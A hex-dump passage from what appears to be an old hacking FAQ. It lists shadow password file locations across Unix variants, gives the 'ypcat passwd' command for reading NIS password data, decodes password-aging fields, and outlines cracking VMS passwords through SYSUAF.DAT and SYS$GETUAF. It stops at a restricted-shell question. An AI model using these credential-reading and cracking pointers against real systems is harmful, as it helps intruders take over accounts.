|00002160| 75 73 65 72 6e 61 6d 65 | 3e 2f 3c 75 73 65 72 6e |username|>/<usern|
|00002170| 61 6d 65 3e 0d 0a 53 75 | 6e 4f 53 34 2e 31 2b 63 |ame>..Su|nOS4.1+c|
|00002180| 32 20 20 20 20 20 20 20 | 20 20 20 20 2f 65 74 63 |2 | /etc|
|00002190| 2f 73 65 63 75 72 69 74 | 79 2f 70 61 73 73 77 64 |/securit|y/passwd|
|000021a0| 2e 61 64 6a 75 6e 63 74 | 20 20 20 20 23 23 75 73 |.adjunct| ##us|
|000021b0| 65 72 6e 61 6d 65 0d 0a | 53 75 6e 4f 53 20 35 2e |ername..|SunOS 5.|
|000021c0| 30 20 20 20 20 20 20 20 | 20 20 20 20 20 20 2f 65 |0 | /e|
|000021d0| 74 63 2f 73 68 61 64 6f | 77 0d 0a 20 20 20 20 20 |tc/shado|w.. |
|000021e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000021f0| 20 3c 6f 70 74 69 6f 6e | 61 6c 20 4e 49 53 2b 20 | <option|al NIS+ |
|00002200| 70 72 69 76 61 74 65 20 | 73 65 63 75 72 65 20 6d |private |secure m|
|00002210| 61 70 73 2f 74 61 62 6c | 65 73 2f 77 68 61 74 65 |aps/tabl|es/whate|
|00002220| 76 65 72 3e 0d 0a 53 79 | 73 74 65 6d 20 56 20 52 |ver>..Sy|stem V R|
|00002230| 65 6c 65 61 73 65 20 34 | 2e 30 20 20 2f 65 74 63 |elease 4|.0 /etc|
|00002240| 2f 73 68 61 64 6f 77 20 | 20 20 20 20 20 20 20 20 |/shadow | |
|00002250| 20 20 20 20 20 20 20 20 | 20 20 20 20 78 0d 0a 53 | | x..S|
|00002260| 79 73 74 65 6d 20 56 20 | 52 65 6c 65 61 73 65 20 |ystem V |Release |
|00002270| 34 2e 32 20 20 2f 65 74 | 63 2f 73 65 63 75 72 69 |4.2 /et|c/securi|
|00002280| 74 79 2f 2a 20 64 61 74 | 61 62 61 73 65 0d 0a 55 |ty/* dat|abase..U|
|00002290| 6c 74 72 69 78 20 34 20 | 20 20 20 20 20 20 20 20 |ltrix 4 | |
|000022a0| 20 20 20 20 20 2f 65 74 | 63 2f 61 75 74 68 5b 2e | /et|c/auth[.|
|000022b0| 64 69 72 7c 2e 70 61 67 | 5d 20 20 20 20 20 20 20 |dir|.pag|] |
|000022c0| 20 20 20 20 20 2a 0d 0a | 55 4e 49 43 4f 53 20 20 | *..|UNICOS |
|000022d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 2f 65 | | /e|
|000022e0| 74 63 2f 75 64 62 20 20 | 20 20 20 20 20 20 20 20 |tc/udb | |
|000022f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 2a 0d | | *.|
|00002300| 0a 0d 0a 0d 0a 30 35 2e | 20 57 68 61 74 20 69 73 |.....05.| What is|
|00002310| 20 4e 49 53 2f 79 70 3f | 0d 0a 0d 0a 4e 49 53 20 | NIS/yp?|....NIS |
|00002320| 28 4e 65 74 77 6f 72 6b | 20 49 6e 66 6f 72 6d 61 |(Network| Informa|
|00002330| 74 69 6f 6e 20 53 79 73 | 74 65 6d 29 20 69 6e 20 |tion Sys|tem) in |
|00002340| 74 68 65 20 63 75 72 72 | 65 6e 74 20 6e 61 6d 65 |the curr|ent name|
|00002350| 20 66 6f 72 20 77 68 61 | 74 20 77 61 73 20 6f 6e | for wha|t was on|
|00002360| 63 65 0d 0a 6b 6e 6f 77 | 6e 20 61 73 20 79 70 20 |ce..know|n as yp |
|00002370| 28 59 65 6c 6c 6f 77 20 | 50 61 67 65 73 29 2e 20 |(Yellow |Pages). |
|00002380| 20 54 68 65 20 70 75 72 | 70 6f 73 65 20 66 6f 72 | The pur|pose for|
|00002390| 20 4e 49 53 20 69 73 20 | 74 6f 20 61 6c 6c 6f 77 | NIS is |to allow|
|000023a0| 20 6d 61 6e 79 0d 0a 6d | 61 63 68 69 6e 65 73 20 | many..m|achines |
|000023b0| 6f 6e 20 61 20 6e 65 74 | 77 6f 72 6b 20 74 6f 20 |on a net|work to |
|000023c0| 73 68 61 72 65 20 63 6f | 6e 66 69 67 75 72 61 74 |share co|nfigurat|
|000023d0| 69 6f 6e 20 69 6e 66 6f | 72 6d 61 74 69 6f 6e 2c |ion info|rmation,|
|000023e0| 20 69 6e 63 6c 75 64 69 | 6e 67 0d 0a 70 61 73 73 | includi|ng..pass|
|000023f0| 77 6f 72 64 20 64 61 74 | 61 2e 20 20 4e 49 53 20 |word dat|a. NIS |
|00002400| 69 73 20 6e 6f 74 20 64 | 65 73 69 67 6e 65 64 20 |is not d|esigned |
|00002410| 74 6f 20 70 72 6f 6d 6f | 74 65 20 73 79 73 74 65 |to promo|te syste|
|00002420| 6d 20 73 65 63 75 72 69 | 74 79 2e 20 20 49 66 0d |m securi|ty. If.|
|00002430| 0a 79 6f 75 72 20 73 79 | 73 74 65 6d 20 75 73 65 |.your sy|stem use|
|00002440| 73 20 4e 49 53 20 79 6f | 75 20 77 69 6c 6c 20 68 |s NIS yo|u will h|
|00002450| 61 76 65 20 61 20 76 65 | 72 79 20 73 68 6f 72 74 |ave a ve|ry short|
|00002460| 20 2f 65 74 63 2f 70 61 | 73 73 77 64 20 66 69 6c | /etc/pa|sswd fil|
|00002470| 65 20 74 68 61 74 0d 0a | 69 6e 63 6c 75 64 65 73 |e that..|includes|
|00002480| 20 61 20 6c 69 6e 65 20 | 74 68 61 74 20 6c 6f 6f | a line |that loo|
|00002490| 6b 73 20 6c 69 6b 65 20 | 74 68 69 73 3a 0d 0a 0d |ks like |this:...|
|000024a0| 0a 2b 3a 3a 30 3a 30 3a | 3a 3a 0d 0a 0d 0a 54 6f |.+::0:0:|::....To|
|000024b0| 20 76 69 65 77 20 74 68 | 65 20 72 65 61 6c 20 70 | view th|e real p|
|000024c0| 61 73 73 77 6f 72 64 20 | 66 69 6c 65 20 75 73 65 |assword |file use|
|000024d0| 20 74 68 69 73 20 63 6f | 6d 6d 61 6e 64 20 22 79 | this co|mmand "y|
|000024e0| 70 63 61 74 20 70 61 73 | 73 77 64 22 0d 0a 0d 0a |pcat pas|swd"....|
|000024f0| 0d 0a 30 36 2e 20 57 68 | 61 74 20 61 72 65 20 74 |..06. Wh|at are t|
|00002500| 68 6f 73 65 20 77 65 69 | 72 64 20 63 68 61 72 61 |hose wei|rd chara|
|00002510| 63 74 65 72 73 20 61 66 | 74 65 72 20 74 68 65 20 |cters af|ter the |
|00002520| 63 6f 6d 6d 61 20 69 6e | 20 6d 79 20 70 61 73 73 |comma in| my pass|
|00002530| 77 64 20 66 69 6c 65 3f | 0d 0a 0d 0a 54 68 65 20 |wd file?|....The |
|00002540| 63 68 61 72 61 63 74 65 | 72 73 20 61 72 65 20 70 |characte|rs are p|
|00002550| 61 73 73 77 6f 72 64 20 | 61 67 69 6e 67 20 64 61 |assword |aging da|
|00002560| 74 61 2e 20 20 50 61 73 | 73 77 6f 72 64 20 61 67 |ta. Pas|sword ag|
|00002570| 69 6e 67 20 66 6f 72 63 | 65 73 20 74 68 65 0d 0a |ing forc|es the..|
|00002580| 75 73 65 72 20 74 6f 20 | 63 68 61 6e 67 65 20 70 |user to |change p|
|00002590| 61 73 73 77 6f 72 64 73 | 20 61 66 74 65 72 20 61 |asswords| after a|
|000025a0| 20 53 79 73 74 65 6d 20 | 41 64 6d 69 6e 69 73 74 | System |Administ|
|000025b0| 72 61 74 6f 72 20 73 70 | 65 63 69 66 69 65 64 20 |rator sp|ecified |
|000025c0| 70 65 72 69 6f 64 0d 0a | 6f 66 20 74 69 6d 65 2e |period..|of time.|
|000025d0| 20 20 50 61 73 73 77 6f | 72 64 20 61 67 69 6e 67 | Passwo|rd aging|
|000025e0| 20 63 61 6e 20 61 6c 73 | 6f 20 66 6f 72 63 65 20 | can als|o force |
|000025f0| 61 20 75 73 65 72 20 74 | 6f 20 6b 65 65 70 20 61 |a user t|o keep a|
|00002600| 20 70 61 73 73 77 6f 72 | 64 20 66 6f 72 0d 0a 61 | passwor|d for..a|
|00002610| 20 63 65 72 74 61 69 6e | 20 6e 75 6d 62 65 72 20 | certain| number |
|00002620| 6f 66 20 77 65 65 6b 73 | 20 62 65 66 6f 72 65 20 |of weeks| before |
|00002630| 63 68 61 6e 67 69 6e 67 | 20 69 74 2e 0d 0a 0d 0a |changing| it.....|
|00002640| 5d 0d 0a 5d 20 53 61 6d | 70 6c 65 20 65 6e 74 72 |]..] Sam|ple entr|
|00002650| 79 20 66 72 6f 6d 20 2f | 65 74 63 2f 70 61 73 73 |y from /|etc/pass|
|00002660| 77 64 20 77 69 74 68 20 | 70 61 73 73 77 6f 72 64 |wd with |password|
|00002670| 20 61 67 69 6e 67 20 69 | 6e 73 74 61 6c 6c 65 64 | aging i|nstalled|
|00002680| 3a 0d 0a 5d 0d 0a 5d 20 | 77 69 6c 6c 3a 35 66 67 |:..]..] |will:5fg|
|00002690| 36 33 66 68 44 33 64 2c | 4d 2e 7a 38 3a 39 34 30 |63fhD3d,|M.z8:940|
|000026a0| 36 3a 31 32 3a 57 69 6c | 6c 20 53 70 65 6e 63 65 |6:12:Wil|l Spence|
|000026b0| 72 3a 2f 68 6f 6d 65 2f | 66 73 67 2f 77 69 6c 6c |r:/home/|fsg/will|
|000026c0| 3a 2f 62 69 6e 2f 62 61 | 73 68 0d 0a 5d 0d 0a 0d |:/bin/ba|sh..]...|
|000026d0| 0a 4e 6f 74 65 20 74 68 | 65 20 63 6f 6d 6d 61 20 |.Note th|e comma |
|000026e0| 69 6e 20 74 68 65 20 65 | 6e 63 72 79 70 74 65 64 |in the e|ncrypted|
|000026f0| 20 70 61 73 73 77 6f 72 | 64 20 66 69 65 6c 64 2e | passwor|d field.|
|00002700| 20 20 54 68 65 20 63 68 | 61 72 61 63 74 65 72 73 | The ch|aracters|
|00002710| 20 61 66 74 65 72 0d 0a | 74 68 65 20 63 6f 6d 6d | after..|the comm|
|00002720| 61 20 61 72 65 20 75 73 | 65 64 20 62 79 20 74 68 |a are us|ed by th|
|00002730| 65 20 70 61 73 73 77 6f | 72 64 20 61 67 69 6e 67 |e passwo|rd aging|
|00002740| 20 6d 65 63 68 61 6e 69 | 73 6d 2e 0d 0a 0d 0a 5d | mechani|sm.....]|
|00002750| 0d 0a 5d 20 50 61 73 73 | 77 6f 72 64 20 61 67 69 |..] Pass|word agi|
|00002760| 6e 67 20 63 68 61 72 61 | 63 74 65 72 73 20 66 72 |ng chara|cters fr|
|00002770| 6f 6d 20 61 62 6f 76 65 | 20 65 78 61 6d 70 6c 65 |om above| example|
|00002780| 3a 0d 0a 5d 0d 0a 5d 20 | 4d 2e 7a 38 0d 0a 5d 0d |:..]..] |M.z8..].|
|00002790| 0a 0d 0a 54 68 65 20 66 | 6f 75 72 20 63 68 61 72 |...The f|our char|
|000027a0| 61 63 74 65 72 73 20 61 | 72 65 20 69 6e 74 65 72 |acters a|re inter|
|000027b0| 70 72 65 74 65 64 20 61 | 73 20 66 6f 6c 6c 6f 77 |preted a|s follow|
|000027c0| 73 3a 0d 0a 0d 0a 20 20 | 31 3a 20 4d 61 78 69 6d |s:.... |1: Maxim|
|000027d0| 75 6d 20 6e 75 6d 62 65 | 72 20 6f 66 20 77 65 65 |um numbe|r of wee|
|000027e0| 6b 73 20 61 20 70 61 73 | 73 77 6f 72 64 20 63 61 |ks a pas|sword ca|
|000027f0| 6e 20 62 65 20 75 73 65 | 64 20 77 69 74 68 6f 75 |n be use|d withou|
|00002800| 74 20 63 68 61 6e 67 69 | 6e 67 2e 0d 0a 20 20 32 |t changi|ng... 2|
|00002810| 3a 20 4d 69 6e 69 6d 75 | 6d 20 6e 75 6d 62 65 72 |: Minimu|m number|
|00002820| 20 6f 66 20 77 65 65 6b | 73 20 61 20 70 61 73 73 | of week|s a pass|
|00002830| 77 6f 72 64 20 6d 75 73 | 74 20 62 65 20 75 73 65 |word mus|t be use|
|00002840| 64 20 62 65 66 6f 72 65 | 20 63 68 61 6e 67 69 6e |d before| changin|
|00002850| 67 2e 0d 0a 33 26 34 3a | 20 4c 61 73 74 20 74 69 |g...3&4:| Last ti|
|00002860| 6d 65 20 70 61 73 73 77 | 6f 72 64 20 77 61 73 20 |me passw|ord was |
|00002870| 63 68 61 6e 67 65 64 2c | 20 69 6e 20 6e 75 6d 62 |changed,| in numb|
|00002880| 65 72 20 6f 66 20 77 65 | 65 6b 73 20 73 69 6e 63 |er of we|eks sinc|
|00002890| 65 20 31 39 37 30 2e 0d | 0a 0d 0a 54 68 72 65 65 |e 1970..|...Three|
|000028a0| 20 73 70 65 63 69 61 6c | 20 63 61 73 65 73 20 73 | special| cases s|
|000028b0| 68 6f 75 6c 64 20 62 65 | 20 6e 6f 74 65 64 3a 0d |hould be| noted:.|
|000028c0| 0a 0d 0a 49 66 20 74 68 | 65 20 66 69 72 73 74 20 |...If th|e first |
|000028d0| 61 6e 64 20 73 65 63 6f | 6e 64 20 63 68 61 72 61 |and seco|nd chara|
|000028e0| 63 74 65 72 73 20 61 72 | 65 20 73 65 74 20 74 6f |cters ar|e set to|
|000028f0| 20 27 2e 2e 27 20 74 68 | 65 20 75 73 65 72 20 77 | '..' th|e user w|
|00002900| 69 6c 6c 20 62 65 0d 0a | 66 6f 72 63 65 64 20 74 |ill be..|forced t|
|00002910| 6f 20 63 68 61 6e 67 65 | 20 68 69 73 2f 68 65 72 |o change| his/her|
|00002920| 20 70 61 73 73 77 64 20 | 74 68 65 20 6e 65 78 74 | passwd |the next|
|00002930| 20 74 69 6d 65 20 68 65 | 2f 73 68 65 20 6c 6f 67 | time he|/she log|
|00002940| 73 20 69 6e 2e 20 20 54 | 68 65 0d 0a 70 61 73 73 |s in. T|he..pass|
|00002950| 77 64 20 70 72 6f 67 72 | 61 6d 20 77 69 6c 6c 20 |wd progr|am will |
|00002960| 74 68 65 6e 20 72 65 6d | 6f 76 65 20 74 68 65 20 |then rem|ove the |
|00002970| 70 61 73 73 77 64 20 61 | 67 69 6e 67 20 63 68 61 |passwd a|ging cha|
|00002980| 72 61 63 74 65 72 73 2c | 20 61 6e 64 20 74 68 65 |racters,| and the|
|00002990| 0d 0a 75 73 65 72 20 77 | 69 6c 6c 20 6e 6f 74 20 |..user w|ill not |
|000029a0| 62 65 20 73 75 62 6a 65 | 63 74 65 64 20 74 6f 20 |be subje|cted to |
|000029b0| 70 61 73 73 77 6f 72 64 | 20 61 67 69 6e 67 20 72 |password| aging r|
|000029c0| 65 71 75 69 72 65 6d 65 | 6e 74 73 20 61 67 61 69 |equireme|nts agai|
|000029d0| 6e 2e 0d 0a 0d 0a 49 66 | 20 74 68 65 20 74 68 69 |n.....If| the thi|
|000029e0| 72 64 20 61 6e 64 20 66 | 6f 75 72 74 68 20 63 68 |rd and f|ourth ch|
|000029f0| 61 72 61 63 74 65 72 73 | 20 61 72 65 20 73 65 74 |aracters| are set|
|00002a00| 20 74 6f 20 27 2e 2e 27 | 20 74 68 65 20 75 73 65 | to '..'| the use|
|00002a10| 72 20 77 69 6c 6c 20 62 | 65 0d 0a 66 6f 72 63 65 |r will b|e..force|
|00002a20| 64 20 74 6f 20 63 68 61 | 6e 67 65 20 68 69 73 2f |d to cha|nge his/|
|00002a30| 68 65 72 20 70 61 73 73 | 77 64 20 74 68 65 20 6e |her pass|wd the n|
|00002a40| 65 78 74 20 74 69 6d 65 | 20 68 65 2f 73 68 65 20 |ext time| he/she |
|00002a50| 6c 6f 67 73 20 69 6e 2e | 20 50 61 73 73 77 6f 72 |logs in.| Passwor|
|00002a60| 64 0d 0a 61 67 69 6e 67 | 20 77 69 6c 6c 20 74 68 |d..aging| will th|
|00002a70| 65 6e 20 6f 63 63 75 72 | 20 61 73 20 64 65 66 69 |en occur| as defi|
|00002a80| 6e 65 64 20 62 79 20 74 | 68 65 20 66 69 72 73 74 |ned by t|he first|
|00002a90| 20 61 6e 64 20 73 65 63 | 6f 6e 64 20 63 68 61 72 | and sec|ond char|
|00002aa0| 61 63 74 65 72 73 2e 0d | 0a 0d 0a 49 66 20 74 68 |acters..|...If th|
|00002ab0| 65 20 66 69 72 73 74 20 | 63 68 61 72 61 63 74 65 |e first |characte|
|00002ac0| 72 20 28 4d 41 58 29 20 | 69 73 20 6c 65 73 73 20 |r (MAX) |is less |
|00002ad0| 74 68 61 6e 20 74 68 65 | 20 73 65 63 6f 6e 64 20 |than the| second |
|00002ae0| 63 68 61 72 61 63 74 65 | 72 20 28 4d 49 4e 29 2c |characte|r (MIN),|
|00002af0| 0d 0a 74 68 65 20 75 73 | 65 72 20 69 73 20 6e 6f |..the us|er is no|
|00002b00| 74 20 61 6c 6c 6f 77 65 | 64 20 74 6f 20 63 68 61 |t allowe|d to cha|
|00002b10| 6e 67 65 20 68 69 73 2f | 68 65 72 20 70 61 73 73 |nge his/|her pass|
|00002b20| 77 6f 72 64 2e 20 20 4f | 6e 6c 79 20 72 6f 6f 74 |word. O|nly root|
|00002b30| 20 63 61 6e 0d 0a 63 68 | 61 6e 67 65 20 74 68 61 | can..ch|ange tha|
|00002b40| 74 20 75 73 65 72 73 20 | 70 61 73 73 77 6f 72 64 |t users |password|
|00002b50| 2e 0d 0a 0d 0a 49 74 20 | 73 68 6f 75 6c 64 20 61 |.....It |should a|
|00002b60| 6c 73 6f 20 62 65 20 6e | 6f 74 65 64 20 74 68 61 |lso be n|oted tha|
|00002b70| 74 20 74 68 65 20 73 75 | 20 63 6f 6d 6d 61 6e 64 |t the su| command|
|00002b80| 20 64 6f 65 73 20 6e 6f | 74 20 63 68 65 63 6b 20 | does no|t check |
|00002b90| 74 68 65 20 70 61 73 73 | 77 6f 72 64 0d 0a 61 67 |the pass|word..ag|
|00002ba0| 69 6e 67 20 64 61 74 61 | 2e 20 20 41 6e 20 61 63 |ing data|. An ac|
|00002bb0| 63 6f 75 6e 74 20 77 69 | 74 68 20 61 6e 20 65 78 |count wi|th an ex|
|00002bc0| 70 69 72 65 64 20 70 61 | 73 73 77 6f 72 64 20 63 |pired pa|ssword c|
|00002bd0| 61 6e 20 62 65 20 73 75 | 27 64 20 74 6f 0d 0a 77 |an be su|'d to..w|
|00002be0| 69 74 68 6f 75 74 20 62 | 65 69 6e 67 20 66 6f 72 |ithout b|eing for|
|00002bf0| 63 65 64 20 74 6f 20 63 | 68 61 6e 67 65 20 74 68 |ced to c|hange th|
|00002c00| 65 20 70 61 73 73 77 6f | 72 64 2e 0d 0a 0d 0a 0d |e passwo|rd......|
|00002c10| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00002c20| 20 20 20 20 20 20 20 20 | 20 50 61 73 73 77 6f 72 | | Passwor|
|00002c30| 64 20 41 67 69 6e 67 20 | 43 6f 64 65 73 0d 0a 2b |d Aging |Codes..+|
|00002c40| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002c50| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002c60| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002c70| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002c80| 2d 2d 2d 2d 2d 2d 2d 2d | 2b 0d 0a 7c 20 20 20 20 |--------|+..| |
|00002c90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002ca0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002cb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002cc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002cd0| 20 20 20 20 7c 0d 0a 7c | 20 43 68 61 72 61 63 74 | |..|| Charact|
|00002ce0| 65 72 3a 20 20 2e 20 20 | 2f 20 20 30 20 20 31 20 |er: . |/ 0 1 |
|00002cf0| 20 32 20 20 33 20 20 34 | 20 20 35 20 20 36 20 20 | 2 3 4| 5 6 |
|00002d00| 37 20 20 38 20 20 39 20 | 20 41 20 20 42 20 20 43 |7 8 9 | A B C|
|00002d10| 20 20 44 20 20 45 20 20 | 46 20 20 47 20 20 48 20 | D E |F G H |
|00002d20| 7c 0d 0a 7c 20 20 20 20 | 4e 75 6d 62 65 72 3a 20 ||..| |Number: |
|00002d30| 20 30 20 20 31 20 20 32 | 20 20 33 20 20 34 20 20 | 0 1 2| 3 4 |
|00002d40| 35 20 20 36 20 20 37 20 | 20 38 20 20 39 20 31 30 |5 6 7 | 8 9 10|
|00002d50| 20 31 31 20 31 32 20 31 | 33 20 31 34 20 31 35 20 | 11 12 1|3 14 15 |
|00002d60| 31 36 20 31 37 20 31 38 | 20 31 39 20 7c 0d 0a 7c |16 17 18| 19 |..||
|00002d70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002d80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002d90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002da0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002db0| 20 20 20 20 20 20 20 20 | 7c 0d 0a 7c 20 43 68 61 | ||..| Cha|
|00002dc0| 72 61 63 74 65 72 3a 20 | 20 49 20 20 4a 20 20 4b |racter: | I J K|
|00002dd0| 20 20 4c 20 20 4d 20 20 | 4e 20 20 4f 20 20 50 20 | L M |N O P |
|00002de0| 20 51 20 20 52 20 20 53 | 20 20 54 20 20 55 20 20 | Q R S| T U |
|00002df0| 56 20 20 57 20 20 58 20 | 20 59 20 20 5a 20 20 61 |V W X | Y Z a|
|00002e00| 20 20 62 20 7c 0d 0a 7c | 20 20 20 20 4e 75 6d 62 | b |..|| Numb|
|00002e10| 65 72 3a 20 32 30 20 32 | 31 20 32 32 20 32 33 20 |er: 20 2|1 22 23 |
|00002e20| 32 34 20 32 35 20 32 36 | 20 32 37 20 32 38 20 32 |24 25 26| 27 28 2|
|00002e30| 39 20 33 30 20 33 31 20 | 33 32 20 33 33 20 33 34 |9 30 31 |32 33 34|
|00002e40| 20 33 35 20 33 36 20 33 | 37 20 33 38 20 33 39 20 | 35 36 3|7 38 39 |
|00002e50| 7c 0d 0a 7c 20 20 20 20 | 20 20 20 20 20 20 20 20 ||..| | |
|00002e60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002e70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002e80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002e90| 20 20 20 20 20 20 20 20 | 20 20 20 20 7c 0d 0a 7c | | |..||
|00002ea0| 20 43 68 61 72 61 63 74 | 65 72 3a 20 20 63 20 20 | Charact|er: c |
|00002eb0| 64 20 20 65 20 20 66 20 | 20 67 20 20 68 20 20 69 |d e f | g h i|
|00002ec0| 20 20 6a 20 20 6b 20 20 | 6c 20 20 6d 20 20 6e 20 | j k |l m n |
|00002ed0| 20 6f 20 20 70 20 20 71 | 20 20 72 20 20 73 20 20 | o p q| r s |
|00002ee0| 74 20 20 75 20 20 76 20 | 7c 0d 0a 7c 20 20 20 20 |t u v ||..| |
|00002ef0| 4e 75 6d 62 65 72 3a 20 | 34 30 20 34 31 20 34 32 |Number: |40 41 42|
|00002f00| 20 34 33 20 34 34 20 34 | 35 20 34 36 20 34 37 20 | 43 44 4|5 46 47 |
|00002f10| 34 38 20 34 39 20 35 30 | 20 35 31 20 35 32 20 35 |48 49 50| 51 52 5|
|00002f20| 33 20 35 34 20 35 35 20 | 35 36 20 35 37 20 35 38 |3 54 55 |56 57 58|
|00002f30| 20 35 39 20 7c 0d 0a 7c | 20 20 20 20 20 20 20 20 | 59 |..|| |
|00002f40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002f50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002f60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002f70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002f80| 7c 0d 0a 7c 20 43 68 61 | 72 61 63 74 65 72 3a 20 ||..| Cha|racter: |
|00002f90| 20 77 20 20 78 20 20 79 | 20 20 7a 20 20 20 20 20 | w x y| z |
|00002fa0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002fb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002fc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 7c 0d 0a 7c | | |..||
|00002fd0| 20 20 20 20 4e 75 6d 62 | 65 72 3a 20 36 30 20 36 | Numb|er: 60 6|
|00002fe0| 31 20 36 32 20 36 33 20 | 20 20 20 20 20 20 20 20 |1 62 63 | |
|00002ff0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003000| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003010| 20 20 20 20 20 20 20 20 | 7c 0d 0a 7c 20 20 20 20 | ||..| |
|00003020| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003030| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003040| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003050| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003060| 20 20 20 20 7c 0d 0a 2b | 2d 2d 2d 2d 2d 2d 2d 2d | |..+|--------|
|00003070| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00003080| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00003090| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000030a0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000030b0| 2b 0d 0a 0d 0a 0d 0a 30 | 37 2e 20 48 6f 77 20 64 |+......0|7. How d|
|000030c0| 6f 20 49 20 61 63 63 65 | 73 73 20 74 68 65 20 70 |o I acce|ss the p|
|000030d0| 61 73 73 77 6f 72 64 20 | 66 69 6c 65 20 75 6e 64 |assword |file und|
|000030e0| 65 72 20 56 4d 53 3f 0d | 0a 0d 0a 55 6e 64 65 72 |er VMS?.|...Under|
|000030f0| 20 56 4d 53 2c 20 74 68 | 65 20 70 61 73 73 77 6f | VMS, th|e passwo|
|00003100| 72 64 20 66 69 6c 65 20 | 69 73 20 53 59 53 24 53 |rd file |is SYS$S|
|00003110| 59 53 54 45 4d 3a 53 59 | 53 55 41 46 2e 44 41 54 |YSTEM:SY|SUAF.DAT|
|00003120| 2e 20 20 48 6f 77 65 76 | 65 72 2c 0d 0a 75 6e 6c |. Howev|er,..unl|
|00003130| 69 6b 65 20 55 6e 69 78 | 2c 20 6d 6f 73 74 20 75 |ike Unix|, most u|
|00003140| 73 65 72 73 20 64 6f 20 | 6e 6f 74 20 68 61 76 65 |sers do |not have|
|00003150| 20 61 63 63 65 73 73 20 | 74 6f 20 72 65 61 64 20 | access |to read |
|00003160| 74 68 65 20 70 61 73 73 | 77 6f 72 64 20 66 69 6c |the pass|word fil|
|00003170| 65 2e 0d 0a 0d 0a 0d 0a | 30 38 2e 20 48 6f 77 20 |e.......|08. How |
|00003180| 64 6f 20 49 20 63 72 61 | 63 6b 20 56 4d 53 20 70 |do I cra|ck VMS p|
|00003190| 61 73 73 77 6f 72 64 73 | 3f 0d 0a 0d 0a 57 72 69 |asswords|?....Wri|
|000031a0| 74 65 20 61 20 70 72 6f | 67 72 61 6d 20 74 68 61 |te a pro|gram tha|
|000031b0| 74 20 75 73 65 73 20 74 | 68 65 20 53 59 53 24 47 |t uses t|he SYS$G|
|000031c0| 45 54 55 41 46 20 66 75 | 6e 63 74 69 6f 6e 73 20 |ETUAF fu|nctions |
|000031d0| 74 6f 20 63 6f 6d 70 61 | 72 65 20 74 68 65 0d 0a |to compa|re the..|
|000031e0| 72 65 73 75 6c 74 73 20 | 6f 66 20 65 6e 63 72 79 |results |of encry|
|000031f0| 70 74 65 64 20 77 6f 72 | 64 73 20 61 67 61 69 6e |pted wor|ds again|
|00003200| 73 74 20 74 68 65 20 65 | 6e 63 72 79 70 74 65 64 |st the e|ncrypted|
|00003210| 20 64 61 74 61 20 69 6e | 20 53 59 53 55 41 46 2e | data in| SYSUAF.|
|00003220| 44 41 54 2e 0d 0a 0d 0a | 54 77 6f 20 73 75 63 68 |DAT.....|Two such|
|00003230| 20 70 72 6f 67 72 61 6d | 73 20 61 72 65 20 6b 6e | program|s are kn|
|00003240| 6f 77 6e 20 74 6f 20 65 | 78 69 73 74 2c 20 43 48 |own to e|xist, CH|
|00003250| 45 43 4b 5f 50 41 53 53 | 57 4f 52 44 20 61 6e 64 |ECK_PASS|WORD and|
|00003260| 0d 0a 47 55 45 53 53 5f | 50 41 53 53 57 4f 52 44 |..GUESS_|PASSWORD|
|00003270| 2e 0d 0a 0d 0a 0d 0a 30 | 39 2e 20 48 6f 77 20 64 |.......0|9. How d|
|00003280| 6f 20 49 20 62 72 65 61 | 6b 20 6f 75 74 20 6f 66 |o I brea|k out of|
|00003290| 20 61 20 72 65 73 74 72 | 69 63 74 65 64 20 73 68 | a restr|icted sh|
